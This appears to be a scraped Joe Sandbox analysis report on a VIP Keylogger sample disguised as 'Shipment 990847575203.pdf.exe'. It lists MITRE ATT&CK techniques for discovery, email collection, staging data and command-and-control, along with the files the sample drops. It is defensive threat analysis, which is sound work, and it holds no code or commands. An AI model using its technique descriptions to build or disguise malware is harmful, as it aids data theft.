Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shipment 990847575203.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FZcXKpA.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Shipment 990847575203.pdf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vdtxqax.yf3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ihoqpt4.bci.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aiilwtzw.csc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibpgt0ua.skv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2ekkjtr.r52.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n4uz423r.qwy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqto3w3s.kza.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uv5etlbn.zuu.ps1

C:\Users\user\AppData\Local\Temp\tmp3382.tmp

Windows Analysis Report
Shipment 990847575203.pdf.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre